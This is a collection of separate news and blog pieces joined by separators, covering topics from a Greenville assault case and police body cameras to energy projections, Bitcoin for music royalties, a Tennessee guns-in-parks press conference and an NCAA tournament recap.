The incident began early March 17 when Patrick Myrick hit a woman in the face and she fell to the ground, Greenville Police said in news release.
Several people ran to Myrick and began beating him up, then chased him and beat him again. He suffered serious injuries and had to be taken to the hospital, police said.
Three of the white suspects have been arrested. Theresa Marie Lee, 25; Mack Humbles, 26; and Mark Privette, 33, are all charged with felony assault inflicting serious bodily injury. It wasn't known whether any had lawyers to speak on their behalf. Working phone numbers couldn't be found for the suspects.
Police are seeking the fourth suspect.
Lee was an East Carolina University student but is no longer enrolled, according to the school.
"We are appalled by the brutality of the incident. We will have zero tolerance for allowing these kind of things on our campus," Ballard said during a press conference Thursday.
The East Carolina University Police Department is also conducting an internal review of its officer who handcuffed Myrick. Officials did not name the officer but said he is on leave and not on campus.
Authorities said the officer did not use any violence against Myrick and a videotape of the incident is being reviewed.
Under North Carolina law, police officers can't charge Myrick with hitting the woman because they have to see the crime take place for a misdemeanor charge. But police said the woman has told investigators she wants to obtain an arrest warrant against him.
ECU students shared their reactions to the news with CBS affiliate WNCT.
"It makes me a littler more weary, like stay out of trouble, don't be by yourself. They should be there to help you but things could always go wrong," said ECU Freshman Barbara Garfinkle.
Another student, Nick Fullenwider, told WNCT he wants to hold off on judgment until the investigation is complete, adding that he hopes the school would be transparent.
"As long as we get more of that, I think that would go a long way to helping the situation all over the country," he said. |
Elkhart Mayor Tim Neese has pulled all of the Elkhart Police Department’s body cameras off the streets.
Nearly a quarter of the 80 being used aren't working. The issue came to light after a deadly shooting where the officer's camera wasn't working.
The city and police department had high hopes for body cameras, but problems landed more of them in the shop instead of on the streets.
Early tests on them didn't indicate any problems using them
"We expect there to be some problems, but we didn't expect to have as many issues as what we have had -- 25 percent of them currently in repair,” said Elkhart Police Department’s Chris Snyder.
Elkhart Mayor Tim Neese is not happy with that number. He suspended the use of them after consulting with police.
"We are temporarily going to discontinue use of vest cams and the consensus is that the inconsistency or the irregularly of vest cams working is really worse than not having them, and so I want to emphasize that is on a temporary basis,” said Neese.
Since the 80 body cameras were officially brought on board last year and put out in the field, the city says the department has experienced a wide range of technical problems with them, ranging from radio interference to wiring and the battery life.
Police were hoping body cameras would shed light into the investigation of a Dec. 4 officer-involved shooting, but that officer's camera had malfunctioned before the incident.
That incident and other problems led the mayor to pull the cameras.
“It’s just been really a series of vest cams that have malfunctioned,” Neese said.
“You never know when they are working or not working properly. It’s very disruptive to law enforcement to go back and then find out something you thought was captured on video never got captured,” Snyder said. |
Much like Mayor Ed Murray before him, King County Executive Dow Constantine has expressed a willingness to support a modification in the MOU between the city of Seattle and arena investor Chris Hansen. Constantine echoed Murray's openness to an NHL-first amendment to the current agreement but, like Murray, reiterated that the numbers would have to pencil out financially.
In a statement released late Wednesday evening, Constantine said "The opportunity to bring NHL hockey to King County is one we should not miss. I am open to modifying the arena MOU if there is a proposal that is self financing, protects the public from financial risk, and does not rely on any new taxes. These principles guided the development of our existing MOU, and I remain committted to securing both an NBA and NHL team for our region, regardless of the order in which they arrive."
This is similar to what Mayor Murray said to KING5 last month, when he said "I believe there could be an adjustment for an NHL team first if there if a financial plan that pencils out for the city." The current agreement will only allow the public funding mechanism to go into effect if an NBA team is secured.
While Constantine has long been an advocate for the SoDo arena project, this is the first time he has vocalized support for an NHL-first modification. The more political support the better, and it's clear that both Constantine and Murray want to see this project through to the end. |
The annual report of the International Energy Agency, based in Paris, noted that renewable energy was booming, with more capacity added in 2015 than for coal, oil and nuclear power combined. Still, fossil fuels will have a substantial role to play in the global energy mix for many years to come — especially natural gas, which is rapidly displacing coal.
“The era of fossil fuels is far from being over, even if the Paris pledges are fully implemented,” said Fatih Birol, executive director of the agency. Today, he said, the share of fossil fuels in the global energy mix is about 81 percent; if Paris goals are met, the share will drop only to 74 percent by 2040. This is in part because even though renewable energy sources are finding their way into electricity generation, oil is still an important source of power for transportation and petrochemical production.
Still, there are winners and losers within fossil fuels, Dr. Birol said. The biggest winner worldwide in the group’s projections is natural gas, and the biggest loser is coal. China, the world’s largest coal producer and user, has been pulling back and appears to have reached the peak of its coal use in 2013.
Dr. Birol declined to discuss the effect on the group’s projections of the election of Donald J. Trump, who has called climate change a hoax, and pledged to abandon the Paris deal and to promote a revival of coal. |
There is an incredibly boring problem in the music industry for which Bitcoin offers a potentially fascinating solution. In fact, I think this might be one of the coolest and most immediately worthwhile applications of distributed ledger and payment network technologies such as Bitcoin.
The problem is simply that no central database exists to keep track of information about music. Specifically, there are two types of information about a piece of music that are critically important: who made it and who owns the rights to it. Right now, this information is fiendishly difficult to track down, to the great detriment of artists, music services and consumers alike.
Decentralized, open-source, global cyryptocurrencies such as Bitcoin and Ripple (full disclosure: I am an investor in Ripple Labs, which is developing this currency) offer a model for how we might address this bedeviling status quo. By applying the technical breakthroughs of these networks, we can sensibly organize data about music for the first time in human history and, more importantly, reinvent the way artists and rights-holders get paid.
The Problems
1. The Credits Conundrum
The first category of interest is “credits.” Almost all recorded music is a collaboration between songwriters, singers, musicians, producers, recording engineers, mastering specialists, and others. Everyone knows who Adele is, but few people know that Chris Dave played drums on her bestselling album. And you won’t discover this great musician’s contribution by buying the song on iTunes or listening on Spotify or YouTube. It’s a shame.
In the past, the lusciously expansive packaging and liners of Vinyl records and later CDs were the paradise of behind-the-scenes talent. Anyone buying an album could page through the notes and find out who contributed what to the music. But in our digital-first market, these personnel are orphaned into obscurity. On today’s digital services, all one can see for a song is superficial data: the main artist’s name, who wrote the song, the name of the album it’s on, and the date of its release.
It’s much more difficult to get work if no one knows that you were responsible for that amazing drum performance or that brilliant mix.
As Spotify’s Artist-In-Residence, I’m extremely interested in fixing this problem for the unsung heroes of recorded music. But I’ve now witnessed the challenge from the inside. It’s not that services such as Spotify and other retailers don’t want to know about the music on our platforms; it’s that we struggle to obtain it. Artists and record labels have sent us over 30 million songs. Although we ask that they package it up for us in an organized and informationally rich package, what we actually receive varies widely.
Digital services rely on a number of third parties to help piece together better information about their catalogues. For example, ROVI has a massive database of credits information that it will, for a price, share with customers in a highly controlled manner. Others, such as MusicBrainz, crowdsource data and share it freely or at a small cost. A number of other corporations, unions, and nonprofits also keep a tight grip on music metadata. For instance, in the United States, the American Federation of Musicians and SAG/AFTRA are unions that represent large numbers of musicians and singers, and they attempt to keep tabs on their members’ every recorded performance. They care about this information because it allows them to ensure that their members receive union-negotiated fees (and that the unions themselves, in turn, receive their dues).
In short, the information about who did what on a given record almost always exists somewhere in the world, but it is typically fragmented between a large number of databases that don’t sync with each other, and whose owners have conflicting views about what should be public and what should be private. This forces digital services such as iTunes and Spotify to invest internally in cleaning up and organizing the information they receive, a burdensome administrative necessity.
Photo by Robyn Lee.
2. The Riddle of Rights
Though getting credit for one’s work is a big deal, getting paid for it is an even bigger deal.
Let’s look at Katy Perry’s “Dark Horse,” one of the biggest songs of the past few years, as a case study. From a legal point of view, the first thing to know about a song is that it’s not one thing. It encompasses a diffuse constellation of conceptual properties, each with numerous potential owners.
The biggest two buckets of rights are 1) rights in a song or composition and 2) rights in a recording of a song.
“Dark Horse,” for example, was written by Perry, Max Martin, Juicy J, Dr. Luke, Cirkut, and Sarah Hudson. Each of them theoretically owns a piece of the underlying song, although they can assign their ownership to one or more third parties. Because Perry first recorded the song, she owns that recording. Whenever someone else records the song after Perry, that individual will own that recording, but the six original writers will still own the song itself.
That being said, artists and songwriters often sell these rights to record companies and publishing companies. Perry, for instance, has a publishing deal with the company Warner/Chappell (a subsidiary of the Warner Music Group) and a record deal with Capitol Records (a subsidiary of the Universal Music Group). When these rights generate earnings, contracts between Perry and her partners determine how these earnings are shared.
But publishing and recording rights are just the beginning. When Perry and her collaborators wrote “Dark Horse,” they also originated additional rights in the public performance of the song. These rights entitle their owners to be paid when a song is publicly exhibited—when it is, say, played on the radio, performed live, or broadcast over the speaker systems at the Staples Center or Chipotle.
The slicing and dicing of rights doesn’t stop there. For example, Katy Perry might choose to sell one company the rights to her general publishing but another company the right to make sheet music for her songs. She can also assign rights to different owners in different countries.
In short, if someone writes and records a song, they effectively create a basket of rights, which they can sell to all sorts of actors all over the world.
How Royalties Work Today
(A Journey Into Unnecessary Complexity)
With that crash course in music rights complete, let’s talk about how a play of “Dark Horse” on a streaming service produces royalties for the owners of its rights:
You play “Dark Horse” on Spotify in the USA. Spotify keeps track of your and others users’ plays over a period of time and then pays out a share of its royalty pool proportional to the song’s popularity on the service during that same period. One percent of plays would equal one percent of total payouts, for example. This payout actually comprises multiple separate payments to the various owners of the rights in the song. These include:
The record company (Capitol) to compensate for usage of the master recording.
The performing rights organizations representing the song’s writers (ASCAP and BMI in the United States).
The Harry Fox Agency, which Spotify uses to administer another esoteric type of publishing royalties called “mechanicals.” These are statutorily-mandated royalties that compensate songwriters for the use of their songs within recordings that are being exploited, which is subtly different in a streaming context than in a performance. (If this is confusing, that’s because it is totally confusing.)
A similarly mind-boggling array of recipients exists in every market in which Spotify operates, and so every month, for a song with multiple writers, Spotify can conceivably end up writing checks to upwards of 20 distinct parties.
This situation creates an enormous administrative burden for a music service, but that’s not the big problem. The big problem is that money only makes it to artists after passing through all of these intermediaries, each with its own accounting processes, timelines, fee structures, and reporting standards. The result is that artists and songwriters suffer from a nearly complete lack of predictable, understandable income.
Having survived solely on my music for years, I experienced this firsthand. Checks for widely varying amounts randomly show up in the mail each month, from all sorts of different issuers. Each comes with some fashion of itemized receipt, but since all of the receipts represent different rights categories and earnings periods, it’s extremely difficult to piece together a clear picture of one’s financial life.
In public conversations about streaming music, many voices are passionately calling for “transparency.” The implication is usually that someone — a music service, record label, publisher, or rights society — is being dishonest and hiding money. This interpretation is understandable in light of the long history of artists’ being exploited for profit.
But having spent three years now in the trenches with Spotify and in conversations with executives across the industry, my assessment is that fraud is not the primary impediment to transparency. Complexity, outdated IT systems, and fragmentation are. Luckily, technology can fix this.
A Solution
These deep infrastructural inefficiencies around credits and rights information diminish the lives of creators and impose unnecessary administrative complexities and costs upon the entire music industry.
A new paradigm for music data management is sorely needed. One solution could be a decentralized, open-source global platform, owned and controlled by no single entity.
The platform would have two complementary functions.
It would contain accurate, real-time, global data encompassing credits and rights ownership. This would make it the universal, authoritative reservoir for these types of information, and it would be open to and accessible by anyone. It would serve as an instantaneous, frictionless payments routing infrastructure for all music usage fees and royalties.
The architecture of Bitcoin provides an instructive example of how this platform might work. Bitcoin is an extraordinary intellectual and technical achievement, and it has generated an avalanche of editorial coverage and venture capital investment. But very few people understand it. Here’s what’s important to know.
Bitcoin, abbreviated BTC, is the name of a digital currency, just as the U.S. Dollar is the name of the fiat currency in the United States. But more important, Bitcoin is a network. The Bitcoin network is instantiated by a bunch of separate people running the Bitcoin software on their computers. The software is open-source, meaning that anyone can check out its code, modify it and so on. Nerds love open-source applications because it means that no single company is unilaterally controlling the software’s development.
Even though Bitcoin is open-source, there is always a single current version of the software that almost everyone agrees to use, and when they use it, they create a network between themselves. If a group of people chooses to use a different version of the software for long enough, they “fork” the network, creating their own, separate network.
This network connects Bitcoin’s users to each other and enables them to do one thing very well: maintain a common “ledger,” or database, that keeps track of how many BTC each person on the network owns. Imagine that Mark, Jane and Sara are sitting around a table, and in the middle of the table is a book, the only purpose of which is to keep track of how much money each one of them has. This is exactly what the Bitcoin network does.
The technically marvelous thing about Bitcoin, however, is that not only can it keep an accurate accounting of this ledger, it can process real-time transactions between participants. |
Image caption The monument was erected six years after the mail coach crash
A 19th Century monument erected to warn Welsh stagecoach drivers of the danger of drink-driving is to get a facelift.
The Mail Coach Pillar built in 1841 marks the spot on what is now the A40 between Llandovery and Brecon where a mail coach plunged over a precipice.
According to the inscription, driver Edward Jenkins was drunk at the reins.
It aims to "caution mail coach drivers to keep from intoxication," and has seen better days, but will be repaired for the first time in 80 years.
The inscription says the coach was travelling between Gloucester and Carmarthen on 19 December, 1835 when it plunged 121ft (about 38m) off the precipice.
The inscription says Mr Jenkins's coach was travelling at "full gallop" on the wrong side of the road when it met a cart coming in the opposite direction.
Broke into several pieces
The coach, along with the driver, guard and five passengers were sent tumbling into the valley where the coach hit an ash tree and broke into several pieces.
Everyone on board survived but Mr Edwards appeared before a magistrate in Llandovery and was fined £5 and costs, although he denied being drunk.
It's a grade II listed monument but quite unusual... I'm absolutely delighted Robin Ennion, Llandovery postmaster
The inspector of mail coaches, a Mr J Bull, suggested, designed and erected the monument which was paid for by public donations.
The inscription on it states that its aim is to "caution mail coach drivers to keep from intoxication."
Today, the top of the monument has broken off and the railings surrounded it have buckled - possibly after being hit by a large vehicle backing in to it.
The Royal Mail says it is working with the Brecon Beacons National Park Authority to restore the pillar and is contributing financially.
Llandovery's postmaster, Robin Ennion, said there had been calls to repair it for several years.
"It's a grade II listed monument but quite unusual. I'm absolutely delighted," he said.
Mr Ennion said thousands of people must travel past it without knowing its history and he hopes the restoration will preserve it for many years to come.
Romantic era
Llandovery town councillor Gill Wright told BBC Radio Wales the monument was of great historical interest.
It's these moments that you realise you'd much rather be driving your car, taking the bus or the train rather than clattering along in a cold coach Coun Gill Wright, Llandovery Town Council
"If it isn't unique, it's certainly very rare," she said.
"An outside memorial for the Royal Mail - very few of them were outside, if any. Most of them were inside buildings.
"It was definitely due a bit of a facelift but now it looks as though we're going to have a real go at it. The Royal Mail Heritage Trust is generously paying the cost," said the councillor.
"I think is probably more than a car that knocked it because it looks as though it followed a fault line in the stone. It's come off in a very straight line and for a time we thought maybe someone had cut it."
Mrs Wright said the monument reflected a romantic era of horse-drawn coaches but also the harsh reality of 19th Century travel.
"Very romantic - but it's these moments that you realise you'd much rather be driving your car, taking the bus or the train rather than clattering along in a cold coach." |
Still think the War on Women isn’t real???
[Title edited for clarity]
Michigan House Representative Barb Byrum (D-Onondaga) was prevented from speaking on the House floor today by Republican leadership. She and other Democrats asked to speak on a package of pay equity bills that would address income inequality in Michigan.
They were rebuffed.
From a statement by House Democrats:
State Representative Barb Byrum (D-Onondaga) and other House Democrats today took House Republicans to task for repeatedly failing to recognize the needs of women in Michigan. So far this year, House Republicans have repeatedly shown they don’t share women’s priorities in matters such as pay equity, women’s health care, middle-class taxes and teacher retirement. Today, little more than a month after she was barred by House Republicans from speaking on the House floor after voicing opposition to an anti-choice bill, Rep. Barb Byrum once again tried to speak in the House, this time in favor of a package of bills that would address pay equity. Again, she was denied the chance to speak.
“House Republicans decided again to not let me speak today on the House Floor, but they can’t stop millions of Michigan women from speaking out in November,” Byrum said. “The women of this state want leaders who share their priorities, including fair pay, access to women’s health care and a fair tax system for their families. These are values House Republicans don’t share with us.”
According to House Dems, so far this year, House Republicans have:
Refused to allow debate or committee testimony on pay equity bills on the House Floor (House Bills 4611-4614)
Refused to allow discussion of bills that would undo tax changes that disproportionately hurt middle-class families, such as the elimination of the child deduction, the reduction of the homestead exemption and earned income tax credits and the senor tax (HB 5640)
Railroaded through sweeping anti-abortion measures, including the over-regulation of clinics that perform abortions (HB 5711)
Pushed through changes to the Michigan Public School Employees Retirement System (MPSERS) that will result in no pensions for future teachers and that disproportionately affect women, who comprise 73.7 percent of the current teachers in the system and 70 percent of the retired teachers (SB 1040)
Rep. Dian Slavens of Canton said, “It is time this Legislature demonstrates that they understand the needs of women and middle-class families in this state. I believe that the people of Michigan deserve elected leaders who do get it. We have been speaking to women around the state about the things that matter most to them, and we understand their concerns.”
Michigan Republicans, drunk with power, continue run roughshod over the rights of women and Democrats in general and, as was revealed yesterday, over the rules and basic ethics standards we should be able to expect from our lawmakers.
If Michiganders didn’t already have enough reasons to get out the vote & get out and vote, their treatment of the women in our state, including their female colleagues should be ample reason to push them over the edge.
We don’t just need change in Michigan. We need revolutionary change.
Our Democratic legislators are certainly ready. “We have been working so hard to promote measures that help the people of this state, not just corporate special interests,” Representative Stacy Erwin Oakes (D-Saginaw) said in a statement. “We will continue fighting for the things that matter, because the people of Michigan have told us that’s what they want us to do.”
[Byrum photo credit: Anne C. Savage]
P.S. If you are getting value from what you find here at Eclectablog, please note that we are in the middle of our third quarter fundraiser (more info in our post this morning “Day Three – Third Quarter fundraiser – “We’re going to the Democratic National Convention” edition”.) If you can make a contribution to help us continue to fight the good fight, we’d really appreciate it. You can do so using this convenient Paypal link (you can change the default $25 donation amount to whatever you’d like it to be). Thanks.
Chris, Anne, and LOLGOP
[donateplus] |
Sitting down for the first time with reporters this year, House Republican Majority Leader Gerald McCormick accused the media of spending too much time talking about their guns-in-lots legislation.
The bill proposes to clear up confusion about whether guns are allowed in certain parks by removing local governments' power to ban guns in their parks. Here's transcript of the press conference with reporters and House Speaker Beth Harwell, Caucus Leader Glen Casada and Finance Committee Chairman Charles Sargent and McCormick.
Reporter: The guns-in-parks bill being amended, you're calling for a non-concurrence. Why is that?
Speaker Harwell: It was poorly drafted and it jeopardizes the entire bill.
Reporter: How so?
Harwell: It will put a fiscal note on it. We'll go back into Finance (Ways and Means Committee). I just feel it jeopardizes the entire bill.
Reporter: Do you think it makes it more likely the governor will veto it, the entire bill?
Harwell: I can't speak for the governor, you'd have to ask him that. But I would suspect that it would.
Reporter: What do you personally think of the idea though, of being able to carry guns in the Legislative Plaza and the Capitol?
Harwell: I think that should be a separate issue that we address in another bill.
Reporter: Why would it have had a fiscal note?
Harwell: All of the security that we have everywhere, it's not just the Capitol. If you read the bill, it's all the surrounding, all the buildings surrounding the Capitol are included. Obviously, it was not offered in a constructive fashion.
Reporter: So, the Supreme Court? Library and Archives?
Harwell: If you read the amendment, all of that is included.
Reporter: So the buildings across the street?
Harwell: Yes.
Reporter: Doesn't the security machines, wouldn't they detect that anyway?
Harwell: We'd have to have extra people down there probably to check and see if someone has a card on them, we'd have to verify the card is on the person. There's a lot of issues we would need to look at if we chose to go that route. Anything else?
Reporter: I just wanted to ask Chairman Casada, I think you said though, you think there is support within the caucus for this idea.
GOP Caucus Chairman Glen Casada: For the idea, that's exactly right. But when you have something that would, in essence, I think, set a real good chance of killing the bill, then all of the sudden, the mood is not to support it and to make sure we don't kill legislation that we have now.
Reporter: To continue on, you all have been in power for a number of years. Why hadn't you all done this previously?
Casada: We've been busy cutting taxes and growing the economy. This will come up, I guess, some day soon it will come up. But it just hasn't been a top priority for us. At least I speak for leadership.
House Majority Leader Gerald McCormick: I think it's of more interest to you guys, obviously than it is to us. (House leadership laughs.)
Reporter: Part of the point of the amendment, it appeared, was well, if we're going to do this across the state, shouldn't we do that here at home where we work?
McCormick: I think the point of the amendment was to kill the bill, is what the point of the amendment was. It wasn't to be constructive and to hold us accountable like the rest of the state. It was to kill the bill.
Casada: It was poorly written, I would submit to buttress Gerald's point. And I think it was intentionally poorly written to be vague and not precise and allow loopholes. And so, that's just not how we do business here.
Reporter: Of course, the critics of the bill itself say it's vague and it allows loopholes and has sort of arguments of you have a fake gun but not a real gun or a real gun but not a fake gun. Is their criticism warranted of the original measure to begin with?
Casada: Everything we do should and deserves, everything we do should deserve debate and criticism. I think they're wrong, but that's a democratic society.
Reporter: What's your understanding of how close you can carry a firearm to a school if it's next to a park, like as in Nashville?
Casada: 37-17-1309 is very clear. If a school owns, operates or maintains a park, it is very clear, you cannot bring your gun there. Even if you're a permit holder.
Reporter: But if it's adjacent to the park?
Casada: Again, it's pretty clear. Owned, operated or maintained. The feds do have 1,000 feet which would supersede our laws, so in addition to the feds you've got our Tennessee law, which is again is 37-17-1309, it's real clear.
Reporter: But there seems to be some thought, that the 1,000 buffer wouldn't apply to permit holders.
Casada: That is, I have heard that, and that may be true. But I can only speak intelligently, and that's questionable, on Tennessee code. And I go back to what's important to our county, which is if a park is maintained, owned or operated by a school, no permit holders can bring their guns.
Reporter: Mr. Chairman, you talk about the need for debate and there was fairly lots of discussion or talk from Democrats on the floor about this measure, but there was no debate or no questions at least from Republicans on the bill Monday. Do you know what that was or why?
McCormick: On the Senate floor?
Reporter: House, I'm talking about the House, the guns in parks passed in the House earlier in the week. There were plenty of, I think 11 Democratic amendments, and certainly they got up and talked about it and there can be issues with the way they talked about it, but there was no real discussion on the amendments or discussion on the bill at all once it actually came.
McCormick: We had almost an hour of discussion on those amendments and we had some discussion on the bill, but quite frankly the rules say that you can cut off debate after a reasonable amount of time. I thought we were very patient with them, listened to a lot silliness, quite frankly, and we were very patient through the whole process. They had a lot of time. We spent more time on that bill than any other bill that night, so the idea that we didn't have a debate on that bill is ridiculous.
Reporter: You had debate on the amendments, or were discussing them and tabled them immediately.
McCormick: And they were all over the place on the amendments. They didn't stick to their amendments when they were talking about it, they talked about the whole broad range of the bill.
Reporter: I think they might argue that a debate would involve two sides. I think --
McCormick: They talked more than we did. Maybe we should have talked more instead of just letting them do it. And remember, we have a supermajority. We could have walked in there and not had any debate on it.
Reporter: So was it by design then to just say, instead of even proceeding or discussing it, just to table things and then call for the question and not actually having the sponsor discuss what the bill did and why?
Casada: I would submit that in the House, this is why we're such sticklers on bringing amendment to the floor because all the heavy lifting, all the debate is done in subcommittee, committee, subcommittee, committee in that bill. So there was a lot of debate and a lot of give and take, but we do it in subcommittee where you have the flexibly to really dig deep on an issue. So when you get to the floor, gosh, what would you say, leader? About an hour or so we still, in addition to all the committee debate.
Reporter: What do you think it says that even though the House has passed it, there's still questions about, in terms of this 1,000-foot, exactly where guns are and exactly where that line is, that it's passed the House but we still don't have answers to that yet?
Casada: Oh, I think the answers are clear. I think if a park is owned, maintained or operated by a school no permit holder can bring a gun. And let's be clear, I'm of the belief -- and I'll just express my opinion -- is that right now there are guns in parks. There was a shooting two days ago in a park. Guns in parks today exist by law-breakers. What we're saying is we want those law-abiding citizens that have demonstrated the ability to operate a weapon to be there and to avert a crime, which has happened many times across this country and this state. So, I think we're being naive-like if we say there is no guns in park, and this is a guns in parks. This is not. This is letting permit holders there to defend unarmed citizens.
Reporter: At the amendment, again, though. It does mention this idea of exempting, or not allowing explosives or other items including imitation weapons within this 150 feet. So, I'm still confused as to why it's important to not allow squirt guns or fake guns within 150 feet of a school versus school property versus a permitted gun.
Casada: All you have to do is look at Cleveland, Ohio, about two weeks ago. A child, 16 years old -- maybe I shouldn't use the word child -- was waving a plastic gun. Police officers didn't know what that was and they acted accordingly in defending the people at that park that they thought the young man had a gun. We want to avoid the vagueness and having innocent people shot for police doing their duty.
Reporter: In Tennessee then, police have to go and check whether that person has a permit before they took action?
Casada: I think what the message says is if you're waving a gun around --
Reporter: Which as a permit holder you can do apparently, according to the Radnor Lake Rambo.
Casada: You couldn't. If you wave that gun around, you're acting irresponsibly. And if a permit holder waves that gun around, they're going to be in trouble quickly.
Reporter: There's been discussion in Nashville, though, with this person, this Radnor Lake Rambo who has a gun and under this law, even with this amendment, would still be allowed to walk around with a weapon if he's permitted, with a real, again an AR-15, some sort of rifle. But if he has a squirt gun, then he can be arrested.
Casada: I think the key is if he keeps that squirt gun hidden, right, he doesn't wave it around, right, no one's going to think he's waving a weapon around.
Reporter: But he's literally waving around a rifle right now. Like, a real gun, and he's allowed to do that.
Casada: Does he have a permit?
Reporter: Yes, he has a permit for this gun.
Casada: And I thought it was a concealed weapon, currently.
Reporter: No. You know Tennessee law does not require to be concealed.
Casada: OK.
Reporter: Hopefully you know that.
Casada: I did. And look, I think that the law's clear. I mean, we're debating something theoretical. We're talking practicalities here. I'd like for us to focus on the practicalities. We need to focus on the things we're doing right in Tennessee.
Reporter: Well the shooting you referred to, two days ago, was a person playing with his cat when he accidentally discharged the weapon. Are you prepared --
Casada: No, that's not what I'm talking about.
Reporter: Well, OK. There was a shooting two days ago when a person at Hadley Park was playing with this cat, accidentally discharged the weapon. Are you prepared that if there are more guns in the park there is a higher likelihood for accidents that there may be some person hurt by having the accidental discharge of a gun in a park?
McCormick: I would say that if we spent more time worrying about criminals carrying guns in parks instead of law abiding citizens, that that would be a better use of our time.
Reporter: There are some parks, and Chairman (Charles) Sargent, you know this, Grassland Park virtually surrounds Grassland Middle and Grassland Elementary Schools. That park is maintained by the county parks department and not the school. You could walk on greenway with a gun under this bill. Could you not?
House Finance, Ways and Means Committee Chairman Charles Sargent: If they have a school function, no.
Reporter: What if they're not having a school function? What if they're not out on the playground, what if they're in the building?
Casada: The law is really clear. And this is an excellent example. Grassland has school functions there, cross country.
Reporter: Not all the time.
Casada: But the law is real clear, it doesn't say when, it says if. And current law is very clear. And so, in this case, because Grassland has school functions there, there cannot be a permit holder taking a gun on Grassland Park. Period, at any time.
Reporter: So, you're saying that, for example, so if a Nashville school had an event one time a year at a park, that there would never be allowed to have any permitted guns at that park?
Casada: I'm not a judge, nor do I pretend to be a lawyer. But if you look at the law, it says 'if.' If it said any other word, your point is valid, but it says 'if a school,' blah, blah, blah, blah. No.
Reporter: If the whole motivation of the law was to avoid confusion for permit holders who said they don't know which parks they're allowed to go in or not, how would that make it more clear for permit holders if they don't know that once a year there's the sack race by the elementary school?
Casada: I would only submit that those who want it to be confusion say it's confusing. I think the average public, good gracious, if Glen Casada can understand this, surely the good public can.
Reporter: But you as a permit holder would know, just as a matter of course, which parks allow guns and which don't, even under the new law?
Casada: I think, number one, if schools want to they can post. This is a school operated park. $5 maybe. That would be the logical conclusion.
Reporter: But Grassland Park is not owned or operated by the school.
Casada: But there's a third word, used. Owned, operated or used. Those are the three words in 37-17-1309.
Reporter: Why not just leave this to locals as it is now? Where they can address each individual situation?
McCormick: Are we answering questions or having a debate? I feel like the Democrats are here --
Reporter: I said, why not?
McCormick: And you haven't been elected.
Reporter: I said, why not? That's a question.
Casada: My response is, when it comes to constitutional questions, the state created federal government, the state created local government. So when it comes to constitutional questions, it's the state's obligation to guarantee the constitutional rights. Generally speaking, we do defer things to local. But generally speaking, this legislature believes in devolving power to the individual. Big, intrusive local governments. No redemption, we want to restore power to the individual.
Reporter: I'm not trying to debate, but these are the questions that we're being asked about this. And one of the things that keep getting pointed out to me, is you guys keep talking about criminals, but there are accidents. Permit holders have accidents.
McCormick: Certainly.
Reporter: So, if there's an accident and a permit holder is in a park, there's a high chance it's going to hit a child.
Casada: There's accidents with bicycles in parks. Should we outlaw bicycles?
Reporter: Yeah, but bikes very rarely kill people.
Casada: That's not true, I disagree with that statement.
Reporter: Guns are weapons. Are you saying a gun is as safe as bicycle?
Casada: If used properly I am. If used properly.
Reporter: In the event of an accident, which is more likely to kill someone?
Casada: Now we're back in theoretical. I think in Tennessee we're dealing with a lot more questions than guns in parks. I think this is a minor thing in the scope of what we're doing good in Tennessee.
Reporter: If someone is hit accidently with a bullet, you guys are fine defending this bill?
Casada: If someone gets run over by an automobile accidently, there's nothing I can do about that. These are things beyond, they're called acts of God, they're beyond our control.
Sargent: No one wants to see anybody get hit by a car or get hit by a bullet. So, I really take very great offense to that one. No one sitting at this table or standing around this table would ever want to see anybody hit by a bullet or a car.
Reporter: No one's suggesting that you want this to happen.
McCormick: Yes, I think that was suggested. It was suggested as you're advocating that side of the argument, which is what you're doing.
Reporter: I'm just trying to present.
McCormick: I don't think you're presenting, I think you're advocating. Is this the only thing that's important to you guys? I mean, seriously.
Reporter: You guys like to accuse the media of paying too much attention to this issue.
McCormick: You are. Right now you are.
Reporter: Well, it's an issue that has a lot of interest in the state and did not get a full debate on the floor.
McCormick: I would very much disagree. I don't think there's been a bill on the floor that had more debate than this one the whole year.
Reporter: The only discussion of the bill was the short statement by the co-sponsor reading a news story about something that happened in a different state. That was the only thing --
McCormick: That includes the amendments.
After the press conference ...
McCormick: You guys are brutal. Let me limp out of here. |
3000
I have returned from a week away at a festival in France to find finished UK editions of Half a King, and don’t they look lovely?
Ooh, they glitter and shine and feel velvety beneath the fingers. On the left, trade paperback for export, on the right, hardcover for the UK market. The hardcover’s an interesting size, what I believe they call a ‘Short Royal’ in the trade – same width as a standard hardcover but slightly shorter, slightly squarer. There’s also a rather lovely map on the endpapers…
I dropped into the publisher to sign a few copies for retailers, chiefly for Waterstones in the UK:
3000 copies. Those things on the tables? They’re books. Those white bags? They’re ten books each. It was what is called in the trade a metric fuckton of books. I once signed a thousand at the warehouse. This was a lot more. Three times as many, in fact. Here’s just a few of them, closer up…
It took me a day to do 2600, then I stopped back in the following day to do the other 400. There was some soreness in the elbow, shoulder and hand, but overall it was a good deal less painful than I was expecting, and my thanks to Natasha, Eleanor, Tim, Tom, and all the other folks who helped sticker, fold, pass, box, and otherwise achieve this not inconsiderable task of logistics.
Should YOU desire to own one of these 3000 entirely one off, utterly unique, personally inscribed editions of Half a King, you will find them available for pre-order right over here… |
Andrew Hozier-Byrne's voice is so rich, so vital and so soulful, I'm certain I'll follow his music for a long time to come. The 24-year-old Irishman, who performs under the name Hozier, opens this set with the brilliant and instantly grabby song "Take Me to Church," about passion, sex and religion.
Hozier's music is based in the blues, and you'll hear the singer-guitarist's love for Muddy Waters and John Lee Hooker during the second song he performs here. His band — piano, guitar, percussion — steps aside for the swampy "To Be Alone," in which the blues provide a starting place for his high, yearning vocals and deep questioning. Hozier has just two EPs out, and both have me yearning to hear more.
Set List
"Take Me To Church"
"To Be Alone"
"Cherry Wine"
Credits
Producers: Bob Boilen, Denise DeBelius; Audio Engineer: Kevin Wait; Videographers: Denise DeBelius, Olivia Merrion; Production Assistant: Alex Schelldorf; photo by Alex Schelldorf/NPR |
1. Missouri and Duke making history for the wrong reason
Since everything that can be said has already been said about Missouri and Duke losing to 15-seeds within a few hours of each other, I’d like to direct your attention to a prediction that a certain someone made last week about the 1- or 2-seeds that were most likely to get upset early.
(And no, I don’t think it’s relevant to mention that I picked Missouri to go to the Final Four after the bracket was announced.)
2. Draymond Green’s second career NCAA tournament triple-double
On Sunday afternoon, CBS gave Green the love he deserved for recording his second career NCAA tournament triple-double against LIU two days earlier, but it seems like fans and the media as a whole haven’t given this accomplishment its proper respect. I’m guessing this is because people are less impressed because Green did it against a 16-seed, but that shouldn’t matter. The bottom line is that there have been hundreds of guys who played against 16-seeds, yet only Green, Magic Johnson, and Oscar Robertson have multiple triple-doubles in the tournament. Anytime you’re in an exclusive group with Magic and the Big O, you’ve accomplished something.
